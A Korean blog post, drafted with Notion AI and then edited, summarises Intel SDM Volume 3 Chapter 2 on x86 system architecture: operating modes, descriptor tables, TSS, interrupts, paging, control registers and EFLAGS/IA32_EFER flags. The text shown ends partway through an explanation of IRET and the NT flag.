MyLostChristmas

INTEL SDM Vol.3 (System Programming) - SYSTEM ARCHITECTURE OVERVIEW 번역 및 정리

MyLostChristmas — Thu, 16 Jan 2025 19:02:59 +0900

하드웨어 및 커널 공부를 위해(사실 하이퍼바이저 공부를 위해) 선행되어야만 하는 지식들(용어만 알고 있거나, 잘 모르는 것들)이 INTEL SDM에 정말 자세하게 나와있는데, 전부 영어여서 Notion + AI, 후처리를 통해서 번역 및 요약해봤습니다.

Chapter 별로 하나씩 번역해볼 예정입니다. (약 700장정도의 분량)

IA-32 아키텍처의 운영 모드:

Protected Mode (보호 모드)
- 프로세서의 기본 운영 모드.
- 고성능과 유연성 제공.
- 과거 소프트웨어와의 호환성 유지.
- 메모리 보호, 멀티태스킹 같은 고급 기능 사용 가능.
Real-Address Mode (실제 주소 모드)
- Intel 8086 프로세서와 유사한 환경 제공.
- 간단한 프로그래밍 모델.
- Protected Mode 또는 System Management Mode(SMM)로 전환 가능.
System Management Mode (SMM)
- 전원 관리와 OEM 차별화 기능 지원.
- SMI# 핀 신호를 통해 진입.
- SMM으로 전환 시:
  - 현재 실행 중인 프로그램의 상태(컨텍스트) 저장.
  - 독립된 별도 주소 공간에서 SMM 전용 코드 실행.
- SMM 종료 후 이전 상태로 복귀.
Virtual-8086 Mode (가상 8086 모드)
- Protected Mode에서 지원하는 유사 운영 모드.
- 8086 소프트웨어를 멀티태스킹 환경에서 실행 가능.
- 주로 과거 소프트웨어와의 호환성 유지에 사용.

Intel 64 아키텍처의 추가 모드:

IA-32e Mode
- 두 가지 하위 모드 지원:
  1. Compatibility Mode (호환 모드):
    - 대부분의 과거 Protected Mode 애플리케이션이 변경 없이 실행 가능.
  2. 64-Bit Mode (64비트 모드):
    - 64비트 선형 주소 지원.
    - 64GB 이상의 물리적 메모리 접근 가능.

모드 간 전환:

모드 전환은 소프트웨어 또는 하드웨어 이벤트에 따라 발생.
SMM처럼 외부 인터럽트에 의해 진입하거나, Protected Mode에서 Virtual-8086 Mode로 진입 등 다양한 전환 경로가 있음.
아키텍처가 각 모드 간 전환을 투명하게 지원.

Protected Mode 에서의 메모리 접근

1. 메모리 접근의 기본 메커니즘

Global Descriptor Table (GDT) 또는 Local Descriptor Table (LDT)를 통해 메모리 접근이 이루어짐.
GDT와 LDT는 세그먼트 디스크립터(segment descriptor)라는 항목을 포함하고 있음.
- 세그먼트 디스크립터에는 다음 정보가 포함됨:
  - 세그먼트의 시작 주소(base address)
  - 접근 권한(access rights)
  - 세그먼트의 유형(type)
  - 사용 상태(usage information)

2. 세그먼트 셀렉터(segment selector)

세그먼트 디스크립터에 접근하기 위해 사용하는 인덱스.
GDT 또는 LDT의 특정 위치(offset)를 가리킴.
구성 요소:
1. 인덱스(Index): GDT 또는 LDT 내 디스크립터의 위치.
2. G/L 플래그(Global/Local Flag): GDT인지 LDT인지 구분.
3. 접근 권한 정보(Access Rights): 현재 실행 중인 코드의 권한과 비교하여 접근 가능 여부 결정.

3. 메모리 접근 절차

세그먼트 셀렉터(segment selector)와 오프셋(offset)을 통해 접근.
세그먼트 셀렉터는 GDT 또는 LDT의 세그먼트 디스크립터로 접근.
세그먼트 디스크립터에서 해당 세그먼트의 시작 주소(base address)를 가져옴.
오프셋을 더해 최종적으로 선형 주소(linear address) 계산.
이후 페이징 메커니즘을 통해 물리 주소(physical address)로 변환.

4. 특별한 레지스터

GDTR (Global Descriptor Table Register):
- GDT의 선형 주소(linear address) 저장.
LDTR (Local Descriptor Table Register):
- LDT의 선형 주소(linear address) 저장.
TR (Task Register):
- 현재 작업(task) 상태를 나타내는 TSS(Task-State Segment)를 가리킴.

5. Current Privilege Level (CPL)

현재 실행 중인 코드의 보호 수준(Privilege Level).
접근하려는 세그먼트의 접근 권한과 CPL을 비교하여 접근 가능 여부 결정.

6. 페이징과 연계

Protected Mode에서는 선형 주소가 페이징 메커니즘에 의해 물리 주소로 변환됨.
페이징 단계:
- PML4 -> Page Directory -> Page Table 순서로 주소 변환.
4KB 페이지와 4단계 페이징 구조를 통해 큰 메모리 공간 지원.

IA-32e 모드에서의 글로벌 및 로컬 디스크립터 테이블 (GDT, LDT)

GDTR 및 LDTR 레지스터:
- IA-32e 모드(64비트 모드와 호환 모드)에서 64비트로 확장됨.
- 세부 내용은 섹션 3.5.2 "IA-32e 모드의 세그먼트 디스크립터 테이블"을 다룰 때 포스팅 예정
64비트 모드:
- GDT와 LDT는 64비트 베이스 주소를 지원하도록 확장됨.
- LDT 디스크립터는 16바이트로 구성되며, 64비트 베이스 주소와 다양한 속성을 포함.
- 호환 모드에서는 디스크립터가 확장되지 않음.

시스템 세그먼트, 세그먼트 디스크립터 및 게이트

시스템 세그먼트:
- TSS(Task-State Segment)와 LDT(Local Descriptor Table) 정의.
- GDT는 세그먼트로 간주되지 않음(세그먼트 선택자와 디스크립터를 통해 접근하지 않음).
  - 왜?
    - GDT는 GDTR(Global Descriptor Table Register)로 직접 참조되며, 세그먼트 선택자를 통해 간접적으로 접근되지 않기 때문
    - GDT는 세그먼트처럼 실행되거나 접근되지 않음 (한 마디로 그냥 세그먼트를 모아둔 것에 불과하다는 뜻)
게이트(Gates):
- 유형: 호출 게이트(Call Gate), 인터럽트 게이트(Interrupt Gate), 트랩 게이트(Trap Gate), 태스크 게이트(Task Gate).
- 역할: 다른 권한 수준에서 실행되는 시스템 절차 및 핸들러로의 보호된 접근 제공.
  - 예: 호출 게이트를 통해 낮은 권한 수준(더 높은 권한)의 코드 세그먼트로 접근 가능.
게이트 동작:
- 호출 프로시저는 게이트를 가리키는 세그먼트 선택자를 제공.
- 프로세서는 현재 권한 수준(CPL)과 게이트 및 대상 코드 세그먼트의 권한 수준을 비교하여 접근 권한 확인.
- 접근 허용 시:
  - 대상 코드 세그먼트의 세그먼트 선택자와 오프셋을 가져옴.
  - 권한 수준 변경 시, 대상 권한 수준의 스택으로 전환:
    - TSS에서 새로운 스택의 세그먼트 선택자를 가져옴.
- 16비트와 32비트 코드 세그먼트 간의 전환도 지원.

2.1.3 Task-State 세그먼트 및 Task 게이트

TSS(Task-State Segment)의 역할

TSS란?: 태스크의 실행 환경 상태를 정의하는 데이터 구조.
포함하는 내용:
- 범용 레지스터 상태.
- 세그먼트 레지스터 상태.
- EFLAGS, EIP(Instruction Pointer) 레지스터.
- 3개의 스택 세그먼트의 세그먼트 선택자와 스택 포인터(각 권한 수준에 하나씩).
- 현재 태스크와 관련된 LDT의 세그먼트 선택자.
- 페이징 구조 계층의 베이스 주소(CR3).

Protected Mode에서 태스크 전환

모든 프로그램 실행은 현재 태스크(Current Task) 컨텍스트에서 이루어짐.
*Task Register(TR)**에 현재 태스크의 TSS 세그먼트 선택자가 저장됨.
태스크 전환 방법:
- CALL 또는 JMP 명령어를 사용하여 새로운 태스크로 전환 가능.
- 명령어에 새로운 태스크의 TSS 세그먼트 선택자가 포함됨.

태스크 전환 시 프로세서 동작

현재 태스크 상태 저장:
- 현재 태스크의 상태를 TSS에 저장.
Task Register(TR) 업데이트:
- 새로운 태스크의 TSS 세그먼트 선택자로 갱신.
GDT에서 새로운 TSS 접근:
- 새로운 TSS의 세그먼트 디스크립터를 GDT에서 가져옴.
새로운 태스크 상태 로드:
- 새 TSS에 저장된 정보를 다음 레지스터와 데이터 구조로 로드:
  - 범용 레지스터, 세그먼트 레지스터, LDTR.
  - CR3(페이징 구조 계층의 베이스 주소).
  - EFLAGS, EIP.
새 태스크 실행:
- 새 태스크의 실행 시작.

Task Gate

기능: 태스크 접근을 위한 게이트.
차이점:
- Call Gate는 코드 세그먼트에 접근하지만, Task Gate는 TSS에 접근.
- Task Gate는 세그먼트 선택자를 통해 TSS를 참조.
사용 목적:
- 태스크 간의 안전한 전환 제공.

1. IA-32e 모드에서 하드웨어 작업 전환이 지원되지 않음

64비트 모드에서는 하드웨어 기반 작업 전환 기능이 제거되었습니다.
- CPU가 TSS를 이용해 자동으로 작업 전환을 수행하지 않습니다.
- 대신 TSS는 특정한 시스템 정보를 저장하는 데 사용됩니다.

2. 64비트 TSS에 포함된 주요 정보

권한 수준별 스택 포인터 주소
- 각 권한 레벨(Privilege Level, Ring 0~3)에 대한 스택 포인터 정보를 저장합니다.
- 권한 레벨 변경(예: 사용자 모드에서 커널 모드로 전환) 시 올바른 스택을 사용할 수 있도록 합니다.
인터럽트 스택 테이블(IST) 포인터 주소
- 인터럽트 처리 시 사용할 독립적인 스택 주소를 포함합니다.
- 특정 예외(Double Fault 등)나 치명적 상황에서 기존 스택 대신 안정적인 스택을 제공하기 위해 사용됩니다.
IO-권한 비트맵(IO-Permission Bitmap) 오프셋 주소
- TSS 기본 주소(base)로부터 오프셋을 계산하여 IO 권한 비트맵의 위치를 지정합니다.
- IO 비트맵은 각 프로세스가 특정 입출력 포트에 접근할 수 있는 권한을 제어합니다.

IO 비트맵(IO-Permission Bitmap)

IO 비트맵은 IA-32 및 IA-32e 아키텍처에서 프로세스의 입출력 포트(IO Port) 접근을 제어하기 위한 데이터 구조입니다. Task-State Segment(TSS)의 일부로 포함되며, 특정 프로세스가 어떤 IO 포트에 접근할 수 있는지 결정합니다.

IO 비트맵의 주요 특징

위치
- TSS(Task-State Segment) 내부에 포함됩니다.
- TSS의 기본 주소(base address)로부터 오프셋(offset) 값을 사용하여 IO 비트맵의 위치를 지정합니다.
구조
- IO 비트맵은 1비트 당 하나의 IO 포트를 나타냄.
  - 1이면 해당 포트에 접근이 허용되지 않음.
  - 0이면 접근이 허용됨.
- IO 비트맵의 길이는 최대 64KB로, 0번부터 65535번까지의 IO 포트를 제어할 수 있습니다.
활용
- 각 비트는 특정 IO 포트를 나타내며, 프로세스마다 다른 IO 비트맵을 설정하여 세분화된 IO 접근 제어가 가능합니다.
- 커널 또는 하드웨어가 IO 비트맵을 읽어, 해당 포트에 대한 접근을 허용하거나 차단합니다.

3. Task Register(TR)의 확장

64비트 모드에서는 Task Register가 64비트 주소를 저장하도록 확장되었습니다.
- TR은 활성화된 TSS의 기본 주소를 가리키며, CPU가 필요한 정보를 TSS에서 가져올 수 있도록 합니다.

4. TSS의 현대적 사용

하드웨어 작업 전환이 제거되었지만, TSS는 다음과 같은 목적으로 여전히 사용됩니다:
1. 스택 관리
  - 권한 수준 전환 및 인터럽트 처리 시 안정적인 스택 전환을 지원.
2. IO 접근 제어
  - 특정 프로세스가 IO 포트에 접근할 수 있는지 제어.
3. 시스템 안정성 향상
  - 인터럽트 스택 테이블을 통해 치명적 예외 상황에서의 시스템 안정성을 확보.

2.1.4 인터럽트 및 예외 Handling

1. 개요

인터럽트와 예외 처리는 Interrupt Descriptor Table(IDT)를 통해 이루어짐.
IDT는 게이트 디스크립터(gate descriptor)의 집합으로, 각각의 디스크립터는 특정 인터럽트 또는 예외 핸들러에 대한 정보를 포함.
IDT는 세그먼트가 아니며, IDT의 시작 주소(선형 주소)는 IDT 레지스터(IDTR에 저장됨.

2. IDT의 동작

인터럽트 벡터 수신:
- 내부 하드웨어, 외부 인터럽트 컨트롤러, 또는 소프트웨어 명령어(INT n, INTO, INT3 등)에 의해 발생.
- 이 벡터는 IDT의 인덱스로 사용됨.
게이트 디스크립터 접근:
- 인터럽트 게이트, 트랩 게이트, 또는 태스크 게이트일 수 있음.
핸들러 호출:
- 인터럽트 게이트 또는 트랩 게이트: 핸들러를 호출하는 방식이 Call Gate와 유사.
- 태스크 게이트: 태스크 전환(task switch)을 통해 핸들러에 접근.

2.1.4.1 Interrupt and Exception Handling in IA-32e Mode

1. IA-32e 모드의 특징

IDT의 게이트 디스크립터가 16바이트로 확장됨:
- 64비트 기반 주소를 지원하기 위해.
- 64비트 모드와 호환 모드 모두 동일하게 적용.
IDTR:
- IDT의 시작 주소를 저장하는 IDTR도 64비트 주소를 지원하도록 확장됨.
태스크 게이트 지원 중단:
- IA-32e 모드에서는 태스크 게이트를 사용할 수 없음.

2.1.5 Memory Management

1. 개요

시스템 아키텍처는 두 가지 메모리 관리 방식을 지원:
1. 직접 물리 주소 지정:
  - 선형 주소를 물리 주소로 그대로 사용.
2. 가상 메모리 (페이징 사용):
  - 선형 주소를 여러 단계의 페이징 구조를 통해 물리 주소로 변환.

2. 페이징 메커니즘

페이징 구조:
- 페이지 프레임(page frame)의 물리적 위치는 페이징 구조에 저장.
- 페이징 구조는 물리 메모리에 존재하며, 가장 최근에 접근된 페이지만 물리 메모리에 유지 가능.
CR3 레지스터:
- 페이징 구조 계층의 기본 물리 주소를 저장.
- 각 테이블 엔트리는 페이지 프레임의 시작 주소, 접근 권한, 메모리 관리 정보를 포함.
선형 주소 변환 과정:
- 선형 주소를 여러 부분으로 나누어 각 부분이 페이징 구조 계층의 오프셋 역할을 함.
- 페이징 구조를 따라 최종 물리 주소를 계산.
계층적 구조:
- 시스템은 단일 계층 또는 여러 계층의 페이징 구조를 가질 수 있음.
- 예를 들어, 태스크마다 독립적인 페이징 구조를 사용할 수 있음.

요약

Interrupt and Exception Handling:
- IDT를 통해 인터럽트와 예외 처리.
- IA-32e 모드에서는 64비트 주소 지원을 위해 IDT 디스크립터와 IDTR이 확장되었으며, 태스크 게이트는 지원하지 않음.
Memory Management:
- 물리 주소 지정 또는 가상 메모리(페이징) 방식 지원.
- 페이징 구조는 CR3 레지스터를 통해 관리되며, 선형 주소는 페이징 계층을 따라 물리 주소로 변환.
- 가상 메모리는 효율적인 메모리 사용과 프로세스 격리를 가능하게 함.

2.1.5 IA-32e 모드에서의 메모리 관리 (2.1.5.1 Memory Management in IA-32e Mode)

1. IA-32e 모드의 페이징 구조

IA-32e 모드에서는 4단계 또는 5단계 페이징 구조를 사용합니다.

페이징 구조는 선형 주소(linear address)를 물리 주소(physical address)로 변환하는 데 필요한 정보를 계층적으로 저장합니다.

1.1. 계층 구조

5단계 페이징 활성화 시: PML5 → PML4 → Page Directory Pointer → Page Directory → Page Table
4단계 페이징 활성화 시: PML4 → Page Directory Pointer → Page Directory → Page Table

2. 각 단계의 역할과 데이터 구조

2.1. PML5 (Page Map Level 5)

5단계 페이징에서 추가되는 최상위 계층입니다.
PML5 테이블의 각 엔트리에는 다음 정보가 저장됩니다:
- PML4 테이블의 물리적 주소.
- 접근 권한 및 메모리 관리 정보.
PML5 테이블의 기본 물리 주소는 CR3 레지스터에 저장됩니다.
- 4단계 페이징에서는 PML4 테이블의 주소가 CR3에 저장됩니다.

2.2. PML4 (Page Map Level 4)

5단계 페이징에서는 PML5 아래에 위치하며, 4단계 페이징에서는 최상위 계층.
PML4 테이블의 각 엔트리에는 다음 정보가 포함됩니다:
- Page Directory Pointer Table의 물리적 주소.
- 접근 권한 및 메모리 관리 정보.

2.3. Page Directory Pointer Table

PML4 테이블 아래 계층.
각 엔트리는 Page Directory Table의 물리적 주소, 접근 권한, 메모리 관리 정보를 포함합니다.

2.4. Page Directory

Page Directory Pointer Table 아래 계층.
각 엔트리는 Page Table의 물리적 주소, 접근 권한, 메모리 관리 정보를 포함합니다.

2.5. Page Table

Page Directory 아래 계층으로, 실제 **페이지 프레임(page frame)**에 대한 정보를 포함합니다.
각 엔트리에는:
- 물리 메모리 페이지의 시작 주소.
- 페이지 접근 권한 및 메모리 관리 정보.

3. 동작 과정

CPU가 선형 주소(linear address)를 참조합니다.
선형 주소는 페이징 구조의 여러 계층을 거쳐 최종적으로 물리 주소(physical address)로 변환됩니다.
- 각 계층의 엔트리를 참조하여 다음 계층의 주소를 결정.
최종적으로 Page Table에서 물리 메모리 페이지의 주소를 얻습니다.

4. 5단계 페이징의 필요성

5단계 페이징은 물리 메모리와 선형 주소 공간이 증가하면서 추가된 구조입니다.
4단계 페이징은 최대 48비트의 선형 주소(256TB)를 지원하지만, 5단계 페이징은 최대 57비트의 선형 주소(128PB)를 지원합니다.

2.1.6 시스템 레지스터(System Registers)

이 내용은 IA-32와 Intel 64 아키텍처에서 시스템 초기화 및 제어를 위한 주요 시스템 레지스터와 관련된 정보를 설명하고 있습니다. 주요 레지스터와 역할을 정리하면 다음과 같습니다.

1. EFLAGS 레지스터

EFLAGS 레지스터는 시스템 플래그와 IOPL 필드를 포함하여 프로세서의 동작을 제어.
주요 기능:
- 작업(task) 전환.
- 운영 모드 변경.
- 인터럽트 처리.
- 명령어 추적.
- 접근 권한 제어.
자세한 정보는 섹션 2.3에서 설명 예정.

2. 제어 레지스터(Control Registers)

CR0, CR2, CR3, CR4와 같은 제어 레지스터는 시스템의 주요 동작을 제어하기 위한 플래그와 데이터를 포함.
각 레지스터의 역할:
- CR0: 보호 모드 활성화, 페이징 활성화 등 기본 시스템 동작 제어.
- CR2: 페이지 폴트가 발생한 주소 저장.
- CR3: 페이징 구조의 PML4 테이블 또는 디렉터리의 물리 주소 저장.
- CR4: 추가 기능(예: PAE, SMAP 등) 활성화.
확장된 제어 레지스터 XCR0에 대한 자세한 정보는 섹션 2.6에서 설명 예정.

3. 디버그 레지스터(Debug Registers)

디버깅 목적으로 중단점(breakpoints)을 설정할 수 있는 레지스터.
프로그램 및 시스템 소프트웨어 디버깅에 사용.
자세한 정보는 19장에서 확인 가능.

4. 메모리 관리 레지스터

GDTR, LDTR, IDTR:
- 각각 GDT, LDT, IDT 테이블의 **선형 주소와 크기(한계값)**를 저장.
Task Register (TR):
- 현재 작업에 대한 TSS의 선형 주소와 크기 저장.
자세한 정보는 섹션 2.4에서 제공.

5. 모델 특화 레지스터(Model-Specific Registers, MSRs)

특정 프로세서 기능을 제어하거나 설정하기 위한 레지스터.
주요 기능:
- 디버그 확장.
- 성능 모니터링 카운터.
- 메모리 타입 범위 레지스터(MTRR).
- 머신 체크 아키텍처(MCA).
MSR의 수와 기능은 프로세서 모델에 따라 다름.
자세한 정보는 11.4 섹션 및 4권의 MSR 관련 장에서 제공.

6. 접근 권한

대부분의 시스템 레지스터는 특권 레벨 0에서만 접근 가능.
EFLAGS 레지스터는 애플리케이션 프로그램에서도 제한적으로 접근 가능.
예외적으로, 모든 프로그램이 특권 레벨 0에서 실행되도록 설계된 시스템에서는 애플리케이션이 시스템 레지스터를 수정할 수 있음.

정리

EFLAGS 레지스터: 작업 전환, 인터럽트 처리, 접근 권한 제어 등.
제어 레지스터 (CR0~CR4, XCR0): 시스템 동작 제어와 메모리 관리.
디버그 레지스터: 디버깅 도구로 사용.
메모리 관리 레지스터: GDT, IDT, TSS 등 테이블의 주소와 크기 관리.
모델 특화 레지스터(MSR): 프로세서별 고유 기능 제어.

시스템 플래그와 IOPL 필드

1. 시스템 플래그(System Flags)

시스템 플래그는 EFLAGS 레지스터(또는 RFLAGS 레지스터)에 포함된 비트 필드로, 프로세서의 시스템 동작을 제어하거나 상태를 나타냅니다. 이 플래그들은 작업 전환, 인터럽트 처리, 트레이싱 등 시스템 운영에 필요한 기능을 제어합니다.

주요 시스템 플래그

IF (Interrupt Enable Flag)
- 인터럽트 허용 여부를 제어합니다.
  - 1: 인터럽트 활성화 (허용).
  - 0: 인터럽트 비활성화 (무시).
- 운영체제가 인터럽트를 차단하거나 허용할 때 사용합니다.
TF (Trap Flag)
- 단일 스텝 디버깅을 활성화합니다.
  - 1: 명령어 실행 후 트랩 인터럽트가 발생하여 디버거로 제어가 전달됩니다.
NT (Nested Task Flag)
- 작업(Task) 간 중첩 호출을 나타냅니다.
  - 1: 작업 전환이 중첩 상태임을 나타냄.
RF (Resume Flag)
- 디버깅 예외(예: Breakpoint Exception)를 재개할 때 사용.
  - 1: 디버그 예외를 무시하고 명령어 실행을 재개합니다.
VM (Virtual-8086 Mode Flag)
- 프로세서를 가상 8086 모드로 전환합니다.
  - 1: 가상 8086 모드 활성화.
  - 0: 보호 모드.

2. IOPL 필드 (I/O Privilege Level Field)

IOPL의 정의

*IOPL (I/O Privilege Level)**은 EFLAGS 레지스터의 12번과 13번 비트에 위치한 2비트 필드로, **입출력 명령어(IO instructions)**의 실행 권한을 제어합니다.
이 필드는 프로세스가 특정 **특권 레벨(Ring)**에서 실행될 때 IO 명령어 실행 가능 여부를 결정합니다.

IOPL 값과 권한

IOPL 값 허용된 레벨 (CPL) 설명

0	Ring 0 (커널 모드)만 허용	가장 엄격한 권한 제어.
1	Ring 0~1 (커널 및 하위 레벨)만 허용	제한적 입출력 권한.
2	Ring 0~2 (커널 및 중간 수준 권한) 허용	일반 애플리케이션보다 높은 권한.
3	Ring 0~3 (모든 레벨) 허용	모든 애플리케이션에서 허용.

IOPL 필드의 동작

현재 실행 중인 코드의 **권한 레벨(CPL)**과 IOPL을 비교하여 입출력 명령어의 실행 여부를 결정합니다.
- CPL ≤ IOPL: 입출력 명령어 실행 허용.
- CPL > IOPL: 입출력 명령어 실행 시 권한 예외(#GP) 발생.

IOPL의 활용

시스템 보안
- 입출력 명령어를 낮은 권한 레벨에서 실행하지 못하도록 제한하여 시스템 보안을 강화합니다.
운영체제 설계
- 운영체제는 IOPL 값을 설정하여 사용자 모드(Ring 3)에서의 IO 명령어 접근을 제한하고, 커널 모드(Ring 0)에서만 실행되도록 제어합니다.
특정 드라이버 실행
- IOPL을 조정하여 특정 드라이버나 하드웨어와의 상호작용을 제한적으로 허용할 수 있습니다.

IA-32 아키텍처의 운영 모드

1. Protected Mode (보호 모드)

IA-32 프로세서의 기본 모드.
특징:
- 고급 기능 지원 (예: 메모리 보호, 멀티태스킹).
- 과거 소프트웨어와의 하위 호환성 제공.
- Paging과 Segmentation을 통한 가상 메모리 관리.

2. Real-Address Mode (실제 주소 모드)

Intel 8086 프로세서의 환경을 제공합니다.
특징:
- 간단한 메모리 모델로, 기본적으로 1MB의 메모리 접근 가능.
- 일부 확장 기능 포함 (예: Protected Mode로 전환 가능).
- 프로세서는 초기화(Reset) 후 이 모드에서 시작됩니다.

3. System Management Mode (SMM)

프로세서의 특수한 운영 모드로, 전원 관리 및 하드웨어 제어를 위한 기능 제공.
특징:
- SMI# 핀 신호를 통해 진입.
- 현재 프로그램의 상태를 저장하고, 별도의 주소 공간에서 SMM 코드를 실행.
- RSM 명령어를 실행하면, 이전 모드로 복귀.

4. Virtual-8086 Mode (가상 8086 모드)

Protected Mode의 하위 모드.
특징:
- Intel 8086 소프트웨어를 멀티태스킹 환경에서 실행 가능.
- EFLAGS 레지스터의 VM 플래그로 제어.
- Protected Mode에서 태스크 전환, 인터럽트 또는 예외 핸들러를 통해 진입.

Intel 64 아키텍처에서 추가된 운영 모드

1. IA-32e Mode (IA-32 확장 모드)

IA-32e 모드는 64비트 모드와 **호환 모드(Compatibility Mode)**로 구성됩니다.
- 64비트 모드:
  - 64비트 선형 주소를 지원.
  - 64GB 이상의 물리 메모리 접근 가능.
- 호환 모드:
  - 대부분의 기존 Protected Mode 애플리케이션을 변경 없이 실행 가능.

모드 간 전환

1. Real-Address Mode → Protected Mode

CR0 레지스터의 PE(Protection Enable) 플래그를 설정하여 전환.

2. Protected Mode → Virtual-8086 Mode

EFLAGS 레지스터의 VM(Virtual Mode) 플래그를 설정하여 진입.
태스크 전환 또는 인터럽트/예외 핸들러로 전환 수행.

3. Protected Mode → IA-32e Mode

IA32_EFER 레지스터의 LME(Long Mode Enable) 플래그를 설정.
Paging 활성화 필요.

4. SMM(System Management Mode)

SMI# 핀 신호로 진입.
RSM 명령어를 통해 이전 모드로 복귀.

기술적 플래그와 레지스터

CR0 레지스터: PE 플래그를 통해 Real-Address Mode와 Protected Mode를 전환.
EFLAGS 레지스터: VM 플래그로 Protected Mode와 Virtual-8086 Mode를 전환.
IA32_EFER 레지스터:
- LME 플래그: IA-32e 모드 활성화.
- LMA 플래그: 64비트 모드와 호환 모드 결정.
CS 레지스터의 L 비트: IA-32e 모드에서 현재 코드 세그먼트가 64비트 모드인지 호환 모드인지 결정.

시스템 플래그와 EFLAG

IA32_EFER 레지스터 필드 설명

Bit 0 (SYSCALL Enable: IA32_EFER.SCE)
- 이 비트는 SYSCALL 및 SYSRET 명령어를 64비트 모드에서 활성화하거나 비활성화하는 데 씀
- R/W(읽기/쓰기 가능)로 설정할 수 있음.
- 예: 운영체제가 SYSCALL 명령어를 지원하려면 이 비트를 활성화해야 함.
Bit 8 (IA-32e Mode Enable: IA32_EFER.LME)
- IA-32e 모드(64비트 모드)를 활성화하기 위한 비트.
- R/W로 설정 가능.
- IA-32e 모드로 전환하려면 이 비트를 1로 설정해야 하고, 페이징도 활성화해야 함.
Bit 10 (IA-32e Mode Active: IA32_EFER.LMA)
- 현재 IA-32e 모드가 활성화되었는지를 나타내는 읽기 전용 비트.
- LME 비트가 설정되고 페이징이 활성화되면 자동으로 1로 설정됨.
Bit 11 (Execute Disable Bit Enable: IA32_EFER.NXE)
- NX (No-eXecute) 비트를 활성화해서 특정 메모리 페이지에서 코드 실행을 막는 데 사용돼.
- 이를 통해 실행할 수 없는 메모리 영역에서의 명령 실행을 차단해 보안을 강화함.
- R/W로 설정 가능.
- 예: PAE(Page Address Extension)와 함께 사용하면 악성 코드의 실행을 방지할 수 있음.
Reserved (비워진 비트)
- 나머지 비트들은 현재 사용되지 않고 예약된 상태

EFLAGS 주요 플래그와 필드

TF (Trap Flag, Bit 8)
- 디버깅용 단일 단계 모드를 활성화하거나 비활성화.
- 1로 설정 시: 명령어 하나가 실행될 때마다 디버그 예외(#DB)가 발생.
- 디버깅 시 프로그램 상태를 한 명령어 단위로 점검할 수 있음.
IF (Interrupt Enable Flag, Bit 9)
- 마스크 가능 하드웨어 인터럽트의 허용 여부를 제어.
- 1로 설정 시: 인터럽트를 허용.
- 예외(Exception)나 마스크 불가능 인터럽트(NMI)에는 영향을 주지 않음.
IOPL (I/O Privilege Level, Bits 12-13)
- 현재 실행 중인 프로그램의 I/O 권한 레벨을 나타냄.
- 현재 프로그램의 **CPL(Current Privilege Level)**이 IOPL 이하일 때만 I/O 접근 가능.
- 권한 레벨이 낮아야 I/O 명령을 실행할 수 있어.
NT (Nested Task Flag, Bit 14)
- 태스크 체인을 제어.
- 태스크 호출(CALL), 인터럽트, 예외가 발생하면 설정되고, IRET 명령으로 복귀할 때 사용.
- POPF/POPFD로 설정 가능하지만 예상치 못한 예외를 일으킬 수 있음.
RF (Resume Flag, Bit 16)
- *디버그 예외(#DB)**를 임시로 비활성화.
- 디버깅 중 명령어가 재실행되면서 또 다른 예외가 발생하지 않도록 방지.
- 사용 후 자동으로 0으로 초기화됨.
VM (Virtual-8086 Mode, Bit 17)
- Virtual-8086 모드 활성화 여부를 결정.
- 1로 설정 시: Virtual-8086 모드 활성화.
- 0으로 설정 시: Protected Mode로 복귀.
AC (Alignment Check, Bit 18)
- 데이터의 메모리 정렬을 확인.
- CR0 레지스터의 AM 비트가 활성화된 경우에만 작동.
- 정렬되지 않은 데이터에 접근하면 예외 발생.
VIF (Virtual Interrupt Flag, Bit 19)
- IF 플래그의 가상 이미지를 저장.
- VME 또는 PVI 플래그가 활성화된 경우에만 작동.
VIP (Virtual Interrupt Pending, Bit 20)
- 소프트웨어에 의해 설정되며, 인터럽트가 대기 중임을 나타냄.
- 프로세서는 이 비트를 읽기만 하고 수정하지 않음.
ID (Identification Flag, Bit 21)
- 이 플래그를 설정/해제할 수 있는지는 CPUID 명령 지원 여부를 나타냄.

RFLAG

RFLAGS와 EFLAGS의 차이
- 64비트 모드에서는 기존의 EFLAGS 레지스터가 RFLAGS로 확장돼서 64비트 크기를 가짐.
- 하지만 상위 32비트는 사용되지 않고 예약된 상태(Reserved).
Virtual-8086 모드 비활성화
- IA-32e 모드에서는 Virtual-8086 모드가 지원되지 않음.
  - VM 비트(Virtual-8086 Mode Flag)를 설정하려 해도 무시됨.
  - 이는 IA-32e 모드가 64비트 환경에 맞춰 동작하기 때문에 옛날 8086 소프트웨어를 지원할 필요가 없기 때문.
NT(Nested Task) 비트 동작
- 프로세서는 IA-32e 모드에서 NT 비트를 자동으로 설정하지 않음.
- 하지만 소프트웨어는 NT 비트를 설정 가능.
  - 단, NT 비트를 설정한 상태에서 IRET 명령을 실행하면 **일반 보호 예외(#GP)**가 발생.
SYSCALL/SYSRET 명령어의 동작
- SYSCALL(시스템 호출)과 SYSRET(시스템 복귀) 명령은 RFLAGS/EFLAGS의 특정 비트를 제어 가능.
  - 예를 들어, 명령 실행 중 특정 플래그를 저장하거나 복구할 수 있음.
  - 이 동작은 프로그래밍 가능한 방식으로 설정돼서, 소프트웨어가 필요에 따라 플래그를 조정할 수 있음.

IRET 명령이란?

*IRET (Interrupt Return)**은 인터럽트 핸들러 실행이 끝난 후 CPU가 원래 실행하던 프로그램으로 복귀할 때 사용하는 명령.

이 명령은 인터럽트 처리 루틴의 마지막에 위치하며, 스택에 저장된 이전 실행 상태를 복구하는 역할을 함.

IRET 명령의 동작 과정

IRET 실행 시 CPU가 복구하는 상태:
- EIP/RIP (Instruction Pointer): 중단되었던 명령어의 주소.
- CS (Code Segment): 코드 세그먼트 레지스터 값.
- EFLAGS/RFLAGS: 인터럽트 발생 전에 CPU의 상태 플래그.
프로세스:
- CPU는 스택에 저장된 값을 사용해 위 3가지 레지스터를 복구.
- 복구 후 원래 실행 중이던 코드로 복귀.

IA-32e 모드에서 IRET 명령이 GP (#GP)를 발생시키는 이유

NT(Nested Task) 비트와 IRET의 관계:
- NT 비트는 Nested Task 플래그로, 태스크 간의 호출 체인을 관리하는 데 사용됨.
- 32비트 Protected Mode에서는 NT 비트가 설정된 경우, IRET 명령은 태스크를 전환하며 실행을 복구.
- 그러나 IA-32e 모드에서는 NT 비트를 사용하는 Nested Task 기능이 지원되지 않음.
IRET 실행 시 NT 비트 확인:
- IA-32e 모드에서 IRET 명령은 스택에서 EFLAGS/RFLAGS 값을 복구하는 과정에서 NT 비트를 확인함.
- 만약 NT 비트가 1로 설정되어 있으면, 프로세서는 이를 잘못된 상태로 간주하고 **일반 보호 예외(GP, #GP)**를 발생시킴.
왜 GP(#GP)가 발생하는가?:
